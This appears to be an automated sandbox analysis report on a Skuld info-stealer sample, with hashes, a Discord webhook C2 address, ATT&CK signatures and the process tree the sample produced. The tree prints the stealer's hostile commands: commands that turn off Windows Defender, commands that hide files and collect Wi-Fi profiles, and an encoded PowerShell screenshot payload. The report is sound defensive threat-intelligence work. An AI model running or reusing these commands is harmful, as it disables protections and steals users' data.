Analysis

  • max time kernel
    150s
  • max time network
    125s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    02-08-2024 20:52

General

  • Target

    skuld.exe

  • Size

    9.5MB

  • MD5

    7ab4913123668584b0e01ad3d7c68e38

  • SHA1

    07d311341d933fc30ee8ca28ed36c21d68d6a114

  • SHA256

    92867adf30fadb150e651272eb0292b6b9a7564b7a5aeb22b5f0369707d5f57d

  • SHA512

    886f09c0cc08d708260b0a94daf0f8a90587a149daea2eae172d0bfd64e068ffe43997df9f152395f19d4e309a7a2c99563293edf03c0231d1817cc36793e710

  • SSDEEP

    98304:IPlSsz0vq91ncrORvs0SSK2g8RwiEpl8SF8SWjC:7e0vqvKes0SSvgJplnWjC

Malware Config

Extracted

Family

skuld

C2

https://discord.com/api/webhooks/1229798736704573582/tB2JVc3SK7IehcnRgUWu6KRwCPy62HvpJL1LBWsxqcB8BZL_EMjBnt_rtdhMCDinEQcf

Signatures

  • Skuld stealer

    An info stealer written in Go lang.

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 3 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Maps connected drives based on registry 3 TTPs 2 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Detects videocard installed 1 TTPs 2 IoCs

    Uses WMIC.exe to determine videocard installed.

  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies system certificate store 2 TTPs 9 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs
  • Views/modifies file attributes 1 TTPs 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\skuld.exe
    "C:\Users\Admin\AppData\Local\Temp\skuld.exe"
    1⤵
    • Drops file in Drivers directory
    • Adds Run key to start application
    • Maps connected drives based on registry
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1504
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Temp\skuld.exe
      2⤵
      • Views/modifies file attributes
      PID:2424
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
      2⤵
      • Views/modifies file attributes
      PID:520
    • C:\Windows\System32\Wbem\wmic.exe
      wmic csproduct get UUID
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4224
    • C:\Windows\System32\Wbem\wmic.exe
      wmic path win32_VideoController get name
      2⤵
      • Detects videocard installed
      • Suspicious use of AdjustPrivilegeToken
      PID:4208
    • C:\Windows\System32\Wbem\wmic.exe
      wmic os get Caption
      2⤵
        PID:5112
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\skuld.exe
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:5088
      • C:\Windows\System32\Wbem\wmic.exe
        wmic cpu get Name
        2⤵
          PID:2400
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:4396
        • C:\Windows\System32\Wbem\wmic.exe
          wmic path win32_VideoController get name
          2⤵
          • Detects videocard installed
          PID:4820
        • C:\Windows\System32\Wbem\wmic.exe
          wmic csproduct get UUID
          2⤵
            PID:4332
          • C:\Windows\system32\attrib.exe
            attrib -r C:\Windows\System32\drivers\etc\hosts
            2⤵
            • Drops file in Drivers directory
            • Views/modifies file attributes
            PID:5040
          • C:\Windows\system32\attrib.exe
            attrib +r C:\Windows\System32\drivers\etc\hosts
            2⤵
            • Drops file in Drivers directory
            • Views/modifies file attributes
            PID:3156
          • C:\Windows\system32\netsh.exe
            netsh wlan show profiles
            2⤵
            • Event Triggered Execution: Netsh Helper DLL
            • System Network Configuration Discovery: Wi-Fi Discovery
            PID:760
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:2908
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
              "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\q5h5xkm2\q5h5xkm2.cmdline"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:3748
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES947F.tmp" "c:\Users\Admin\AppData\Local\Temp\q5h5xkm2\CSC7757041CEA3B4EA98030EACB19D58285.TMP"
                4⤵
                  PID:4720

          Network

          MITRE ATT&CK Enterprise v15

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          Downloads

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            944B

            MD5

            4a154efa7af25bb8b94d0d9c7b4f15cd

            SHA1

            5e0e04103e4eef1bc7ef242b730aed1958f98e1f

            SHA256

            c216eda372556eb78e680bde247c2fd2085642ee33031905a213c6bec502ccce

            SHA512

            fc4678133318fe1952947be74e244246336c7faacc9b9ae32336d57b106ec8f044e5db41dd98e8f3a54270ddacab2fc84a66d5d67deeadc3056ea5213bcbbba4

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            944B

            MD5

            54522d22658e4f8f87ecb947b71b8feb

            SHA1

            6a6144bdf9c445099f52211b6122a2ecf72b77e9

            SHA256

            af18fc4864bc2982879aed928c960b6266f372c928f8c9632c5a4eecd64e448a

            SHA512

            55f2c5a455be20dcb4cb93a29e5389e0422237bdd7ac40112fec6f16a36e5e19df50d25d39a6d5acb2d41a96514c7ecd8631ce8e67c4ff04997282f49d947aba

          • C:\Users\Admin\AppData\Local\Temp\RJlviFFEGX\Display (1).png

            Filesize

            417KB

            MD5

            13071d04682233f6d8f4af9671039a47

            SHA1

            498be8cb62cf1c0e7ce9e31f475ffc48b258f878

            SHA256

            3e1d595c6fbeb72c6a976de1f4ce782da61386d2f1de67c4ea1d926410494434

            SHA512

            badc8555e7febb692c0d730f58b6d7c4bd6190adba6a5dbb113a8f95d6a5ece239e318642a0364ebbb3a2f3b6d25b93567599ba38939c5b774e46422bffb3688

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3lzl4gu4.gkd.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • C:\Users\Admin\AppData\Local\Temp\q5h5xkm2\q5h5xkm2.dll

            Filesize

            4KB

            MD5

            26beb3d36837591deaea356d072ed168

            SHA1

            7213a9c71ff4c5c1fbcfd18e83a3fa828d4e3163

            SHA256

            df1d80a2cfcec06a0cc85767abed0a0c61325ef98aa91047f88efc552835f49f

            SHA512

            5eac86cba6b58ac5b7c2fab0fba78d637655e89c6cbcb13e462a6ec150c131704bd7787ea563c4916f3458b0b55812ab6761555dc9afeb4f535109e615767ce5

          • C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe

            Filesize

            9.5MB

            MD5

            7ab4913123668584b0e01ad3d7c68e38

            SHA1

            07d311341d933fc30ee8ca28ed36c21d68d6a114

            SHA256

            92867adf30fadb150e651272eb0292b6b9a7564b7a5aeb22b5f0369707d5f57d

            SHA512

            886f09c0cc08d708260b0a94daf0f8a90587a149daea2eae172d0bfd64e068ffe43997df9f152395f19d4e309a7a2c99563293edf03c0231d1817cc36793e710

          • C:\Windows\System32\drivers\etc\hosts

            Filesize

            2KB

            MD5

            6e2386469072b80f18d5722d07afdc0b

            SHA1

            032d13e364833d7276fcab8a5b2759e79182880f

            SHA256

            ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075

            SHA512

            e6b96f303935f2bbc76f6723660b757d7f3001e1b13575639fb62d68a734b4ce8c833b991b2d39db3431611dc2cacde879da1aecb556b23c0d78f5ee67967acb

          • \??\c:\Users\Admin\AppData\Local\Temp\q5h5xkm2\q5h5xkm2.0.cs

            Filesize

            1004B

            MD5

            c76055a0388b713a1eabe16130684dc3

            SHA1

            ee11e84cf41d8a43340f7102e17660072906c402

            SHA256

            8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

            SHA512

            22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

          • \??\c:\Users\Admin\AppData\Local\Temp\q5h5xkm2\q5h5xkm2.cmdline

            Filesize

            607B

            MD5

            7ebfeb04cfe64c0530c19cfbac25772e

            SHA1

            217b049a9b6990c82efd50103701acf48a8aef90

            SHA256

            32b75b35035acef09c16df4ea1bf815e62d374e2b30fa407ce87a406c28fc7ad

            SHA512

            d3fa6df6b984ead295ab1444e69e0661d7ab1a5e01cf1d74867458038f30ea19da26167a78e8b486475a47d8eedf16435852099108208178fe149320f6cf6092

          • memory/2908-52-0x000001D330920000-0x000001D330928000-memory.dmp

            Filesize

            32KB

          • memory/5088-14-0x000001DB0F6B0000-0x000001DB0F6D2000-memory.dmp

            Filesize

            136KB